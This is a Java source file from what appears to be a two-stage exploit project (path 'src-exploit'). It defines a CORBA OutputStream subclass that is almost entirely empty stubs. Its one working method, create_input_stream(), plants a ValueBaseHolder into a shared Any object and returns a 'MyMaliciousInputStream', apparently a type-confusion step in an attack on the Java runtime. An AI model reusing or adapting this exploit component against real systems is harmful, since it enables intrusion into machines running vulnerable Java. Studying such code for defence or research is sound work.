twostage/src-exploit/x/MyOutputStream.java
package x;
import org.omg.CORBA.Any;
import org.omg.CORBA.Object;
import org.omg.CORBA.TypeCode;
import org.omg.CORBA.ValueBaseHolder;
import org.omg.CORBA.portable.InputStream;
import org.omg.CORBA.portable.OutputStream;
public class MyOutputStream extends OutputStream {
@Override
public InputStream create_input_stream() {
MyAny.ref.insert_Streamable(new ValueBaseHolder());
return new MyMaliciousInputStream();
}
@Override
public void write_Object(Object value) {
// TODO Auto-generated method stub
}
@Override
public void write_TypeCode(TypeCode value) {
// TODO Auto-generated method stub
}
@Override
public void write_any(Any value) {
// TODO Auto-generated method stub
}
@Override
public void write_boolean(boolean value) {
// TODO Auto-generated method stub
}
@Override
public void write_boolean_array(boolean[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_char(char value) {
// TODO Auto-generated method stub
}
@Override
public void write_char_array(char[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_double(double value) {
// TODO Auto-generated method stub
}
@Override
public void write_double_array(double[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_float(float value) {
// TODO Auto-generated method stub
}
@Override
public void write_float_array(float[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_long(int value) {
// TODO Auto-generated method stub
}
@Override
public void write_long_array(int[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_longlong(long value) {
// TODO Auto-generated method stub
}
@Override
public void write_longlong_array(long[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_octet(byte value) {
// TODO Auto-generated method stub
}
@Override
public void write_octet_array(byte[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_short(short value) {
// TODO Auto-generated method stub
}
@Override
public void write_short_array(short[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_string(String value) {
// TODO Auto-generated method stub
}
@Override
public void write_ulong(int value) {
// TODO Auto-generated method stub
}
@Override
public void write_ulong_array(int[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_ulonglong(long value) {
// TODO Auto-generated method stub
}
@Override
public void write_ulonglong_array(long[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_ushort(short value) {
// TODO Auto-generated method stub
}
@Override
public void write_ushort_array(short[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_wchar(char value) {
// TODO Auto-generated method stub
}
@Override
public void write_wchar_array(char[] value, int offset, int length) {
// TODO Auto-generated method stub
}
@Override
public void write_wstring(String value) {
// TODO Auto-generated method stub
}
}